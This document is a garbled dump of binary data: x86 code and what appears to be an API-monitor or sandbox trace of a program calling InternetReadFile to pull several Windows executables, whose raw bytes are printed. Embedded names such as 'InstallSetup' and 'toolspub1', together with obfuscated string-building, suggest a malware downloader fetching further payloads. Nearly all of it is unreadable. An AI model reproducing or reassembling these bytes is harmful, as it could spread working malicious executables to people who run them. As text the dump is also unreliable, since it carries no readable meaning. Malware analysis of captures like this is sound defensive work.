ƒì$V‹D$,¶¶P€ñ£€òTˆL$¶HˆT$¶PöрòuˆL$¶HˆT$¶P€ñç€òDˆL$¶HˆT$ ¶P€ñK€ò#ˆL$ ¶HˆT$ ¶P €ñ¿€òEˆL$ ¶H ˆT$ ¶P €ñ;€òVˆL$¶H ˆT$¶P €ñø€ò˜ˆL$¶HˆT$¶P€ñ[€òôˆL$¶HˆT$¶P€ñµ€ò‡ˆL$¶HˆT$¶P€ñ{€òˆL$¶HˆT$¶P€ñô€òvˆL$¶HˆT$¶P€ñ¹€ò4ˆL$¶HˆT$¶P€ñ¿€òˆL$¶HˆT$¶P‹t$0€ñç€òxˆL$¶HˆT$¶P€ñ˜€òéˆL$ ¶HˆT$!¶Pj D$P€ño€ò´VˆL$.ˆT$/ÆD$0脛ƒÄ ‹Æ^ƒÄ$ÃÌÌÌÌÌÌÌÌÌÌV‹t$…öu hW€è øÿÿ‹L$ …É} hW€èû÷ÿÿW‹|$…ÿu hW€èè÷ÿÿ‹;Çt:;L$~jQPèVŸƒÄ …Àu5h€èÂ÷ÿÿPèqžƒÄ‰>ƒ>uh€è¨÷ÿÿ;L$~éjQèݞƒÄ‰ëÜ_^ÃSVWj ‹ÙèꖋðƒÄ…öt-‹|$WÇFÇFÿt±A‰…Àu…ÿt h€èޔ3ö‰3…öu h€è̔_^‹Ã[ÂÌÌÌÌV‹ñ‹…Àt‹‹QPÿҋÆÇ^ÃÌÌÌÌÌSU‹l$ ‹Ù…íu‰+][ÂVWUÿ °A‹øh€CPGWSèÁþÿÿ‹‹L$(ƒÄWPWUjQÿ°A‹ð÷ÞöƒÆtVÿ°AƒøzuB‹T$jjWUjRÿ°A‹ðh€CPVSèpþÿÿ‹‹L$(ƒÄVPWUjQÿ°A‹ð÷ÞöF…ötèšöÿÿ_^][ÂÌÌÌVW‹ù‹7…öt>FPÿ°A…Àu*…öt&‹…ÀtPÿp±A‹F…Àt Pèõ•ƒÄVèᔃÄÇ_^ÃÌÌÌÌ́ìŒSUVW3ÛSÿ|±A„$PL$QÆD$àÆD$;ÆD$ÆD$*ÆD$¢ÆD$*ÆD$*ÆD$AÆD$ ÓÆD$! ÆD$"dÆD$#ÆD$$ŠÆD$%÷ÆD$&=ÆD$'ÆD$(ÙÆD$)îÆD$*ÆD$+hÆD$,ôÆD$-vÆD$.¹ÆD$/4ÆD$0¿ÆD$1ÆD$2çÆD$3xÆD$4˜ÆD$5éÆD$6oÆD$7´ˆ\$8è—ûÿÿPèߞƒÄ = ²A„½ ÿD°APj譒”$x‹øRWDŽ$€$ÆD$dÎÆD$e'ÆD$fœÆD$gÆD$h•ÆD$i.ÆD$j"ÆD$kWÆD$l‘ÆD$m!ÆD$nWÆD$o:ÆD$pøÆD$q˜ÆD$r[ÆD$sôÆD$tµÆD$u‡ÆD$v{ÆD$wÆD$xôÆD$yvÆD$z¹ÆD${4ÆD$|¿ÆD$}ÆD$~çÆD$xƄ$€˜Æ„$éƄ$‚oƄ$ƒ´ˆœ$„ÆD$ÀÆD$8ÆD$ÆD$ÆD$ŽÆD$0ÆD$eÆD$GÆD$ ÓÆD$!)ÆD$";ÆD$#VÆD$$øÆD$%˜ÆD$&[ÆD$'ôÆD$(µÆD$)‡ÆD
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELK‰à 0Ìž5 @@ @@…P5K@ÈÉ   H.text¤  `.rsrcÈÉ@Ê@@.reloc â@B€5H B(ƒ…ÈÅ 0W( è  s ( þþ ( þþ  =þ  òÿÿÿ= rps z*(*0 9s ~%:&~þs %€(+o 8Æo  %rêprBp~ ( ¢%rZpr˜p~ ( ¢%r°prðp~ ( ¢%r prJp~ ( ¢(Ð o 8$( s sª~ }~ s ( o }{rZprºp~ ( o   9rÌprîp~ ( 8ArøprJp~ ( o :{(Ó8 {(Ò(! þ  9o"   (# o$ o% (& {(Ñ  (! þ  9Ïs' s' s' þ s( ~%:&~þs) %€(+þ s( ~%:&~þs) %€(+þs( ~%:&~þs) %€(+o* þ9Z{ %rRp¢o+ šrfp(& (w(+o- s. (†(+o“o/ #>@(0 (1 io2 &Ý Ý(3 þ9¥þs( ~%:&~þs) %€(+þs( ~%:&~þs) %€(+þs( ~ %:&~þs) %€ (+Ý Ýož o þs4 ~ %:&~þs5 %€ (+o¢o¨þs6 ~ %:&~þs7 %€ (+o¤þs8 ~ %:&~þ s9 %€ (+o¦(+9[sª%ož% rŒp(& o %s; o¢%o¨%s< o¤%s= o¦o> (+9[sª%ož% ržp(& o %s; o¢%o¨%s< o¤%s= o¦o> Ý Ýo©þ9 o> (? :ÐúÿÿÝþo@ ÜoA :/úÿÿÝ9o@ ÜÝ&Ý8*A” /8 ³Lÿ èѹ ¸:ò7Û&0Âs;  %%Ðå(B sC (D (E þ 9 ݀(  s=%%б(B sC o@&8sÊoBoF oÅoBoF oÇoB(oÉÝ Ý݁oÄ(3 : oÄ8r´poÅoÆ(3 : oÆ8r´poÇoÈ(3 : oÈ8r´poÉÜoÈr´p(G   9 oH Xo<þ  :ÜþÿÿÝ  ÝÝ  Ý8*Ad}MÊ }[؁FYŸ §® 0ðs' (D (E þ 9 ÝÄ(  s=%%ÐÓ(B sC o@&8Us«%oBoF o®%oBoF o" .þo°%oBoF o²%oBo" 1þo´%oBoF (I @Bj[!‘¶Yo¶%oBoF o¸%rÄpo>(oºoµjþ9-(    (J   (K !€µ÷õŸYo¶Ý  Ý:8(¹(3 þ  9 oL Xo<þ  :—þÿÿÝ&ÝÝ  Ý8*ALcv 0žÎÕÜ 0£s< %%ÐÙ(B sC (D (E þ 9 Ýb(  s=%%Л(B sC o@&8ò%%н(B sC o>oF %%з(B sC oM :"%%Ðë(B sC oM 8  9 (sœ  %%Ðñ(B sC o>oF o™ o› Ý&Ýþ  9 oN Xo<þ  :úþÿÿÝ  ÝÝ Ý8*ALxÈ@E;€ 
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELׁ²eà –~´ À@  `…0´KÀ`à  H.text„” – `.rsrc`À˜@@.reloc àž@B`´HTÞ Ød,CÞp*(*(*07 þ8þ E,+8'(  ~¢{9Ïÿÿÿ& 8Äÿÿÿ*rp 8þ E^‚(Í>—ߤ1ˆc±+d;¾ù8Y8ï 8“ÿÿÿ( :ò 8|ÿÿÿ X 8lÿÿÿ(  ~¢{›:Oÿÿÿ& 8Dÿÿÿ(  ~¢{´:& 8þ E28(+(+ ~¢{È9Ìÿÿÿ& 8ÁÿÿÿÝl& ~¢{Ö9& 8þ E8Ý5 8”þÿÿ o (+o & 8vþÿÿo (+ ~¢{9Tþÿÿ& 8Iþÿÿ8±þÿÿ ~¢{90þÿÿ& 8%þÿÿ ~¢{–:þÿÿ& 8þÿÿ 8öýÿÿ 8éýÿÿ8{ 8Úýÿÿ( 9Qþÿÿ ~¢{ì9¹ýÿÿ& 8®ýÿÿ ~¢{Û:™ýÿÿ& 8Žýÿÿ8¯ÿÿÿ 8ýÿÿ ˆ?c 8iýÿÿ:öýÿÿ ~¢{9Nýÿÿ& 8Cýÿÿ8Èþÿÿ ~¢{Ù9*ýÿÿ& 8ýÿÿ8›ÿÿÿ 8ýÿÿ(  ( o o ( ( 9kýÿÿ ~¢{¿9Óüÿÿ& 8Èüÿÿݬüÿÿ:H 8þ E)O8$8E ~¢{ë:Ñÿÿÿ& 8Æÿÿÿo ~¢{Ø:«ÿÿÿ& 8 ÿÿÿÜ ~¢{ý9æûÿÿ& 8ÛûÿÿA4"n7PR¢v( *&~þ*~*( *0¼ þ8þ EBf8ŠrapÐ( o s € ~¢{Ó9´ÿÿÿ& 8©ÿÿÿ8H ~¢{Ä:ÿÿÿ& 8…ÿÿÿ~9•ÿÿÿ ~¢{9gÿÿÿ& 8\ÿÿÿ~*~*€*j(r™p~(t*.þ ( *&~þ*~*( *Jþ þ þ o *{ *{ *V( } } *0û þ8þ E:)¬d‹858º ~¢{×:Áÿÿÿ& 8¶ÿÿÿ: 8¥ÿÿÿ( { { o :V þ8wÿÿÿ;Z ~¢{û:_ÿÿÿ& 8Tÿÿÿu 8Bÿÿÿ8" 83ÿÿÿ( { { o ***Ò 8ÐÁz )UU¥Z( { o X )UU¥Z( { o X*0ur¯p%{ %qŒ:&8 þo ¢%{ %qŒ98&8 þo ¢( *&~! þ*~! *2(" o# *0Ž þ8þ EN)8I8O ~¢{Ô9Ñÿÿÿ& 8Æÿÿÿ9 ~¢{ì:¬ÿÿÿ& 8¡ÿÿÿróps$ z(" o% o# *:(?(& *:(>(& *N{' o+(& *z{( {' {) s* (+ *2(" o, *0f þ8þ E"8róps$ z(" o% o, *:èÿÿÿ ~¢{¨:·ÿÿÿ& 8¬ÿÿÿ:(?(- *:(>(- *N{' o+(- *~{( {' {) s* (+ j*0f þ8þ E"8róps$ z(" o% o. *:èÿÿÿ ~¢{ 9·ÿÿÿ& 8¬ÿÿÿ:(?(/ *:(>(/ *N{' o+(/ *z{( {' {) s* (0 *0´ þ8þ Em>8rps$ z(" o1 o2 o3 (+%o(+o[*(2(4 :·ÿÿÿ ~¢{¾9ÿÿÿ& 8‚ÿÿÿ8žÿÿÿ ~¢{ì9iÿÿÿ& 8^ÿÿÿFrp(3(5 *0B: rps$ z{' o+ (5 {' Ð ( oߥ *0³ þ8þ E4X8/(2(4 :C ~¢{Ï:Æÿÿÿ& 8»ÿÿÿ8* ~¢{Û:¢ÿÿÿ& 8—ÿÿÿrps$ z(" o6 o2 o3 (+%o(+o[*Frp(3(7 *0B: rps$ z{' o+ (7 {' Ð ( oߥ *0â þ8þ E/Sw8*ok:} ~¢{þ:Ãÿÿÿ& 8¸ÿÿÿ8d ~¢{Ø:Ÿÿÿÿ& 8”ÿÿÿ85 ~¢{ð9{ÿÿÿ& 8pÿÿÿ(™9‚ÿÿÿ 8Zÿÿÿr'ps$ z{( {) ^%¢oç
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELú °eà  ”!” @”@ €”@…¸ ”S@”è`”  H.text” ” `.rsrcè@””@@.reloc `” ”@Bð ”Hø ”À0(Çâ“0_~, (,( ~, (,( ~, (,( ~, (,( ~,~ èZ( ~,rprp( & 8Â~ o ~ o ~o ~o (~ , (~ rp( ,( rpo (+)~ r1p( ,( rpo (( ( (  (X ~ o ?.ÿÿÿ~&*0/s s s o Þ ,o Üo *  0(Ži  +‘Ži]‘aҜX Ži2ç*6((+*Ò*0c ( ~-þ s €~(+(+   + Ži]‘X‘X ÿ_ (X  2Ø*(! *0w{X ÿ_}{{{‘X ÿ_}{{{({{{‘{{‘X ÿ_‘aÒ*03s (}}}þs" (+*0‘ ‘œœ*0rKp(# s$ o% t*0ª(& o' rcp( ( (( -() o* (+ ,(, ,(- `(. ~/ (0 ~ o1 o2 o3  Þ/&Þ~4 (0 ~ o1 o2 o3 Þ& Þ* *R'y%|%¡%0\ €€€€€€€€r1p€ € rmp(5 € s6 rçpo7 rpo7 rpo7 rYpo7 repo7 € s6 rcpo7 rcpo7 rcpo7 rcpo7 rcpo7 € s6 rspo7 rspo7 rspo7 rspo7 rspo7 €s6 (8 o7 (8 o7 (8 o7 (8 o7 (8 o7 €*(! *"(9 *(! *0D s: o; o< rsp( ,o= &*r‰p( ,(( -o= &*(! *0Í r›ps> o? o@ +zoA rápoB oC oD rûp( ,!r'poB oC oE r3poF -) rCpoF -r'poB oC rQp( ,Þ4oG :zÿÿÿÞ ,o ÜÞ ,o ÜÞ ,o Ü**(Š¤  ²  ³¾ 0 rgp( (I ,**0  (J oK (&*06(L (M  ( (L (M Y j/ ÞÞ&Þ**//(! *Ãâ“ÎÊﾑlSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSetPADPADPÅߎ–¸ì¤tHc¿I èÊ1E„Vuw@31839b57a4f11171d6abc8bbc4451ee4 FirstZ•3BInstallSetup7šáj rty25BG‹toolspub1G_ 3B5Zètm~dÍÿvÀfcx8wmzd2vxfcxxwmzd2v˜fmÂx´~ÍL¸{L©!fhsXpormXcno ernXi 'O+ oeC w @2vx/I[yZTyOYyF~ÿOyD/ÄHyU!òy\ÉFyA[y[yO6éyT4ÞAyZ4ÈOyX6iQhUyZfcxx'Em6aËb´dxfcx˜tfpd¸rvÀyfc—xwmzÐ$26xfcx}vmza3vxfÀòxxý/xd2fxfchxwmzt2vxfcŒù8_mz`%Âwxfcxx(5ý zd2vxfcxxwmzd2vxfK÷8`wmzd2vxfcxÐ8mzd2vxfcxxwmzJtWxx ·#xxw¸-zd2vxfcxXw`Craa2D2xfÐ#x4xw¼-zd2vxf#x@Vdt zX92v9fcxð8wmzd2v8fÀMtsxw  zdPsv xf"xxwmzdrvÀVrrxˆ^'m`;d3v9fcxxwm:d@2vxfcxxwmzd2vxfcxxwmzd2vxfcxxwmzd2vxfcxxwmzd2vxfcxxwmzd2vxfcxxwmzd2vxfcxxwmzd2vxfcxxwmzd2vxfcxxwmzd2vxfcxxwmzd2vxfcxxwmzd2vxfcxxwmzd2vxfcxxwmzd2vxfcxxwmzd2vxfcxxwmzd2vxfcxxwmzdïDR¥DB ºó»Ì´Ì»Ì´D^çì:Ýj$Q“?cƒ¼»Ìˆ%mÐú›%6Ðö‡%nÐã‡%tÐ÷’%jÐäÍ%bÐø™%{Ðø‡%
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $'ö³c—jàc—jàc—jà8ÿiái—jà8ÿoáë—jà8ÿnáq—jà¶únál—jà¶úiár—jà¶úoáB—jà8ÿkád—jàc—kà—jàøùcá`—jàøùjáb—jàøù•àb—jàøùháb—jàRichc—jàPELh֖eà! ’!g à@ zœ<{P°øÀ°o8èo@ H.textV  `.rdata b d@@.data v@À.rsrcø°‚@@.relocÀ„@Bj hèl¹p˜èßHhè­SYÃÌÌÌj h m¹ˆ˜è¿Hh`èSYÃÌÌÌjh0m¹ ˜èŸHhÀèmSYÃÌÌÌjhHm¹¸˜èHh èMSYÃÌÌÌjham¹Ð˜è_Hh€è-SYÃÌÌÌjham¹è˜è?Hhàè SYÃÌÌÌjham¹™èHh@èíRYÃÌÌÌjham¹™èÿGh èÍRYÃÌÌÌhè¾RYÃÌÌÌÌh`è®RYÃÌÌÌÌhÀèžRYÃÌÌÌÌj?hèm¹x™è¯Gh è}RYÃÌÌÌhènRYÃÌÌÌÌh è^RYÃÌÌÌÌh@èNRYÃÌÌÌÌhàè>RYÃÌÌÌÌh€è.RYÃÌÌÌ̋ÁÂÌÌÌÌÌÌÌÌÌÌÌU‹ìV‹ñWÀFPÇÔ!f֋EƒÀPèb[ƒÄ‹Æ^]ÂÌÌ̋I¸¼l…ÉEÁÃÌÌU‹ìV‹ñFÇÔ!Pè“[ƒÄöEt j VèLNƒÄ‹Æ^]AÇÔ!Pèi[YÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌWÀ‹ÁfÖAÇAÐlÇ,"ÃÌÌÌÌÌÌÌÌU‹ìƒì MôèÒÿÿÿhˆzEôPè;[ÌÌÌÌU‹ìV‹ñWÀFPÇÔ!f֋EƒÀPè’ZƒÄÇ,"‹Æ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìV‹ñWÀFPÇÔ!f֋EƒÀPèRZƒÄÇà!‹Æ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìì„ƒ}SV‹ÙW‰]à„Ûƒ}0„у}H„Çj/hdmMÈÇEôÇEøÆEäÇEØÇEÜÆEÈèŽEjjjjh”mÿ,!ƒ}MjCMjjjjjPQP‰E´ÿ0!ƒ}4M jCM jjjjQh˜mP‰E¸ÿ4!ƒ}LU8ÿuHCU8Mȃ}Ü‹ðRÿuØCMÈQV‰uÀÿ8!EüPhÿ…€ûÿÿPVÿ<!…À„iƒ}ü„\…€ûÿÿÇE”ÇE˜PÆE„fDŠ@„Éuù+M„P…€ûÿÿPè§D‹MüE„9M”ÇE¬BM”ƒ}˜QCE„MœPÇE°ÆEœèvDƒ}°Uœ‹}œ‹MôC׋Eø‹]¬+Á‰MÄSR;Øw,ƒ}øuä Cuä‰EôPè«j‹Mč3‹uÀƒÄ ÆëÆE¼Mäÿu¼Sè™G‹}œ‹E°ƒør+H‹Çùr‹üƒÁ#+ǃÀüƒø‡˜QWèXKƒÄ‹U˜ƒúr,‹M„B‹Áúr‹IüƒÂ#+ÁƒÀüƒø‡dRQè$KƒÄ‹EüƄ€ûÿÿEüPhÿ…€ûÿÿPVÿ<!…À…šþÿÿ‹]àV‹5@!ÿÖÿu¸ÿÖÿu´ÿÖEä‹UܸÆEäó~EôfÖCÇEô‰Eøƒúr/‹MÈB‹Áúr‹IüƒÂ#+ÁƒÀüƒø‡ÌRQèŒJ‹EøƒÄÇEØÇEÜÆEȃør.‹MäP‹Áúr‹IüƒÂ#+ÁƒÀüƒø‡„RQèDJƒÄ‹UÇEôÇEøÆEäƒúr,‹MB‹Áúr‹IüƒÂ#+ÁƒÀüƒø‡>RQèþIƒÄ‹U4ÇEÇEÆEƒúr,‹M B‹Áúr‹IüƒÂ#+ÁƒÀüƒø‡øRQè¸IƒÄ‹ULÇE0ÇE4ÆE ƒú‚Ç‹M8B‹Áú‚«‹IüƒÂ#+ÁƒÀüƒø‡ªé’jhamÇCÇCÆèÝA‹Uƒúr(‹MB‹Áúr‹IüƒÂ#+ÁƒÀüƒøwbRQè"IƒÄ‹U4ÇEÇEÆEƒú‚Lÿÿÿ‹M B‹Áú‚0ÿÿÿ‹IüƒÂ#+ÁƒÀüƒøwéÿÿÿRQèÓHƒÄ_^‹Ã[‹å]ÃèðnÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìƒì<¹`™SVW‹=@™3öVham3ÛèA…ÿ„–DCOãÿ€yKËÿÿÿCŠ‹ð¥¶Ñòæÿ€yNÎÿÿÿF¶†ð¥ˆƒð¥ˆŽð¥Mඃð¥‰uø¶ÀjÇEðÇEô¶€ð¥ˆEÿEÿPÆEàè—@Eàº`™PMÈèÆA‹ðƒÄþ`™t|‹ t™ƒùr.¡`™Aùr‹PüƒÁ#+ƒÀüƒø‡Ô‹ÂQPèµGƒÄÇp™Çt™Æ`™`™ó~FfÖp™ÇFÇFÆ‹U܃úr(‹MÈB‹Áúr‹IüƒÂ#+ÁƒÀüƒøw_RQèBGƒÄ‹UôÇEØÇEÜÆEȃúr(‹MàB‹Áúr‹IüƒÂ#+ÁƒÀüƒøwRQèGƒÄ…ÿt‹uøéoþÿÿ_^[‹å]ÃèmÌÌÌU‹ìƒì<SVW‹ùÇGÇGÆèþÿÿ¡t™¾`™‹`™ƒø»0™Còƒ=D™C0™+މ]øƒø¹`™¡p™CÊÁ;ð„*Š3Mà2ˆEÿEÿjPÇEðÇEôÆEàèÞ>Eà‹×PMÈè@‹ØƒÄ;ûte‹Oƒùr+‹Aùr‹PüƒÁ#+ƒÀüƒø‡Í‹ÂQPè FƒÄÇGÇGÆó~CfÖGÇCÇCÆ‹U܃úr(‹MÈB‹Áúr‹IüƒÂ#+ÁƒÀüƒøwiRQè§EƒÄ‹UôÇEØÇEÜÆEȃúr(‹MàB‹Áúr‹IüƒÂ#+ÁƒÀüƒøw'RQèeEƒÄ¡t™F‹`™‹]øé¼þÿÿ‹Ç_^[‹å]ÃènkÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìQƒ}4E SCE VWÿu0‰Mü¹H™Pè=ƒ}EÿuCE¹0™Pè„=‹5X™3ۋ=\™fDƒÿˆ›ð¥‹Ã¹H™C H™™÷þŠ ˆƒð¤Cû|Ô3ÿ3öŠ–𥶆ð¤ø¶Êùçÿ€yOÏÿÿÿGŠ‡ð¥ˆ†ð¥Fˆ—ð¥þ|Á‹uü‹Îè‡ýÿÿ‹Uƒúr
request_handle: 0x00cc0018
1 1 0

InternetReadFile

 buffer: MZx@xº´ Í!¸LÍ!This program cannot be run in DOS mode.$PEd†¦S}eð" hn°£@У¡·f`€ÐnµÀnX À£Œtn ) ¯£@¯£( °nàR@à.rsrcXÀnðR@À.idata ÐnôR@À @!ànöR@àxgrhcaku øR@àcnnrpfsb°£ˆf@à.pdataIÀ£Šf@@
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL!¢®eà  Ba €@ À`…Ð`K€ÈLà'  †`  H.text$A B `.rsrcÈ€D@@.reloc  J@BaH¸„j <ø¦0j~:_€~°(ž è  s ~±(¢þþ ~²(¦~³(ª ? rps z*.(7(*0(    8'~´(®œŽi]‘œÝ&ÝX  ?Îÿÿÿ  8$ ‘X‘X ] ‘ ‘œ œX  ?Ñÿÿÿ  8ŠX ] ‘X ] ‘ ‘œ œ‘ ‘X ]%q‘aҁÝ1&  8  Xž X  Ži?æÿÿÿÝXŽi?lÿÿÿ*:´2æ1 0‚ 8hP%q ®XҁP%q ¯YҁP%q èXҁZ~µ(²P%q šaҁP%q@XҁP%qCYҁP%q ¸XҁP%q0aҁP%q ¢XҁP%q YҁP%q ˆaҁP%q.XҁP%qXaҁP%qNXҁX ?‘þÿÿÝ&Ý*A{{0] è>׉ ³[¼a~•{{a~¶(¶s&;-s  ~·(º Ži< Ži=s &*n~¸(¾~¹(Â( *0L~¸(¾~¹( ( : þs ~º(Æ ~»(Ê9ðÿÿÿ*VC ZX**0˜ ¬%Ð~¼(Î  Ži~½(Ò~~~¾(֏Ži@~¿(Ú& 0lã b šþfa~•{“a~¶(¶ ’R™k ‹J¢Ta~•{Ra~¶(¶ ¶b–   a~•{’a~¶(¶ ~À(Þ~Á(â~ ~Â(æ9– Ý¡†E 'îF§Y Ñ«¡a~•{Ra~¶(¶ ^ˆÙÙ c ·תa~•{Ka~¶(¶ ˜|et SøOa~•{?a~¶(¶ sšVÿ ·wO®a~•{Ma~¶(¶ 婗ö !$Àa~•{}a~¶(¶ à@Œ= c Û3a~•{ta~¶(¶ >­[´ zB4öX s5îüa~•{›a~¶(¶     ~Ã(ê~Ä(î(+8W ~À(Þ~Ä(î(+ ˆ~oo&X?¡ÿÿÿÝz*A’’2~Å(ò*{*"}*ž~¸(¾~¹(Â( ~Æ(ö*n~¸(¾~¹(Â( *0P~¸(¾~¹(%Ð~¼(΀ B%Ð~¼(΀*0~  X~Ç(ú ~È(þ  8Mš ~  ~É( X~Ê(t* ~Ë( t~Ì(X Ži?ªÿÿÿ*n~¸(¾~¹(Â( *ö~¸(¾~¹(ÂÐ~Í(~Î(~Ï(€ *0W€ Ð( o € @%Ð9( € €!€*€€ s €,€(s €€)€ €€~ €1~ €€€€€%s €&€'j€$€€/j€€€€€+~ €€s €0€.€€€€#€"~ €-( Ý&Ý*E P*0 W ÀŽiZ ]Y X ]: Žij\nXjXm ŽijjZ    8  ‘œ X  Ži?èÿÿÿŽi%G €`ÒR 8$ n jYÔ  YZ?_d ÿj_Ҝ Y  =ÔÿÿÿŽiZ \ #Eg ‰«Íï þܺ˜ vT2 8 b89dXX‘bXX‘b`XX‘b`X‘`žX=D¾ÿÿÿ ('  (' (' ('('  (' (' (' ('    ('   ('   ('  ('   (' (' ('((  ((  (( ((((   (( (( (( ((  (( (( ((
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELºú°¿à 0âÌŽ @  @…@K ÀÉ  H.text”à â `.rsrcÀÉ Êä@@.reloc ®@BpHd:0vz”°¸*(*0 As ~%:&~þs %€(+o 8Îo %rprYp~ ( ¢%rqpr¯p~ ( ¢%rÇprp~ ( ¢%r!prap~ ( ¢(Å o 8,( s sŸ~ }~ s ( o }{rqprÑp~ ( o   9rãprp~ ( 8Arprap~ ( o :{(È8 {(Ç( þ  9 o   ( o o ( {(Æ  ( þ  9×s s s þ s ~%:&~þs %€(+þ s ~%:&~þs %€(+þs ~%:&~þs %€(+o þ9b{%rip¢o šr}p( (p(+o s (~(+oˆo #>@( ( io &Ý Ý( þ9­þs ~%:&~þs %€(+þs ~%:&~þs %€(+þs ~ %:&~þs %€ (+(! &Ý Ýo“ o•þs" ~ %:&~þs# %€ (+o—oþs$ ~ %:&~þs% %€ (+o™þs& ~ %:&~þ s' %€ (+o›(+9[sŸ%o“% r£p( o•%s) o—%o%s* o™%s+ o›o, (+9[sŸ%o“% rµp( o•%s) o—%o%s* o™%s+ o›o, Ý Ýožþ9 o, (- :ÈúÿÿÝþo. Üo/ :'úÿÿÝ9o. ÜÝ&Ý8*A” /8 ³T èÙÁ ¸Bú7ã'.0Âs)  %Ðá(0 s1 (2 (3 þ 9 ݀(  s6%Ы(0 s1 o9&8s¿o;o4 oºo;o4 o¼o;(o¾Ý Ý݁o¹( : o¹8rËpoºo»( : o»8rËpo¼o½( : o½8rËpo¾Üo½rËp(5   9 o6 Xo5þ  :ÜþÿÿÝ  ÝÝ  Ý8*Ad}MÊ }[؁FYŸ §® 0ës (2 (3 þ 9 Ý¿(  s6%ÐÏ(0 s1 o9&8Ps %o;o4 o£%o;o4 o .þo¥%o;o4 o§%o;o 1þo©%o;o4 (7 @Bj[!‘¶Yo«%o;o4 o­%o;(o¯oªjþ9-(8    (9   (: !€µ÷õŸYo«Ý&Ý:8(®( þ  9 o; Xo5þ  :œþÿÿÝ&ÝÝ  Ý8*ALcr0™ÉÐ× 0£s* %ÐÕ(0 s1 (2 (3 þ 9 Ýb(  s6%Е(0 s1 o9&8ò%ж(0 s1 o7o4 %а(0 s1 o< :"%Ðç(0 s1 o< 8  9 (s‘  %Ðí(0 s1 o7o4 oŽ o Ý&Ýþ  9 o= Xo5þ  :úþÿÿÝ  ÝÝ Ý8*ALxÈ@E;€ ˆ 0Xs+ %ÐÕ(0 s1 (2 (3 þ 9Ý(
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@ິ Í!¸LÍ!This program cannot be run in DOS mode. $h„-,qê~,qê~,qê~2#~?qê~ ·‘~+qê~,që~\qê~2#n~qê~2#i~¢qê~2#{~-qê~Rich,qê~ü±ePELt¥Pà#  ˜ /Í°@û;€´P`4šÀ±  @°„.text—˜ `.rdata´m°nœ@@.dataÀ0  @À.rsrc4š`œ @@‹D$-€÷ØjÀjƒàÀjPÿ°AÌÌÌÌÌÌÌÌÌÌÌÌÌÌÿ°A…À~ %ÿÿ €Pè¶ÿÿÿÌÌÌÌÌ̋L$2ÀAºVI¶qÿ¶ÀÆ%ÿ€yH ÿÿÿ@¶1¶ÀÆ%ÿ€yH ÿÿÿ@¶q¶ÀÆ%ÿ€yH ÿÿÿ@¶q¶ÀÆ%ÿ€yH ÿÿÿ@ƒÁƒêu^ÂÌÌÌÌÌÌÌÌÌƒì €|$‰L$…ÀSUVW"2Ò3ÿÆD$ 3í‰D$ëI¸;ø+¶t$ ‹ÿ¶œ¶ÒÞӁâÿ€yJÊÿÿÿBH;Ç}ÜGç€ÆD$yOƒÏàG…í|2f¶Ú"uf;u ‹L$ÆD$ƒîuè€|$uþD$ 냋D$f¶òf‰0Eý‰D$Œbÿÿÿ_^][ƒÄ ÂÌÌÌÌÌÌÌ̃ìSUV¾W3Û3ÿ‰t$Cãÿ€yKËÿÿÿC‰\$¶™ t>%F‹ÆG%€yHƒÈà@¶„ÃǙ½ÿ÷ý¸Bf9„Q"ű\$3À”Q"4æÿ€yNÎÿÿÿFÁæ f‹´"f‰2@Â=|ыt$Fþ‰t$Œ[ÿÿÿ_^][ƒÄÂÌÌÌÌÌÌÌÌÌÌÌÌÌSU¸·ÐV‹ñW‹ÂÁ⍮" ¹€‹ýó«‹|$W‹Îè þÿÿW‹Îèøþÿÿ3ۋþ‹Õ‹ÿ3ÀŠ ˆ ¶ÉÁÁáÈ@ƒÂ=ˆ1|ßCÇû|Î_^][ÂÌÌÌÌÌÌ̃ì8S°>ˆD$+ˆD$/°ˆD$0ˆD$1ˆD$3UV‹ñ¸ þÿ+ƉD$¸ þÿ+ƉD$¸þÿ+ƉD$³2¸þÿ+ƈ\$2ˆ\$A‰D$(W±>» þÿ¸þÿ+Þ+Æ¿þÿ²’+þˆL$8ˆL$BˆL$GÆD$4xÆD$5aˆT$:ÆD$>fÆD$A3ÆD$CÆD$DtˆT$FÆD$@øÆD$9bÇD$Ž‰\$‰D$(‰|$0ë‹\$ù‹Ç™½÷ý ƒÈ»¶l4™÷û¶D4¯Å‹×âÿÁâÕ¶2Ç3Â%ÿ€yH ÿÿÿ@ˆ‹D$™÷û‹D$ÁƒÈ½¶\4™÷ý¶T4¯ÓD:‹T$âÿÁâÓ¶23Â%ÿ€yH ÿÿÿ@ˆA‹D$‹Ã™÷ý‹D$ ÁƒÈãÿÁã¶T4‰T$$™÷ý‹D$$ضT4¯Ð¶3T:3Ёâÿ€yJÊÿÿÿBˆQ‹T$( ‹Ã™÷ýãÿÁã¶D4‹T$,‰D$$ ƒÈ™÷ý‹D$$ضT4¯Ð¶3T:3Ёâÿ€yJÊÿÿÿB‹|$0ƒD$ˆQƒÁƒú Œžþÿÿ†P‹Îèûÿÿj‹Îˆ† è9ýÿÿ_^]°[ƒÄ8ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹l$ ƒýW‹ùŒÚ‹D$ V‹t$UPVè^šƒÄ ƒýu ¶¶— ÁÁáϊ ˆ^_] Mÿ3À…É~-Së ¤$I¶0¶\0ÂÁâ׊ˆ0@;Á|á[¶‡ 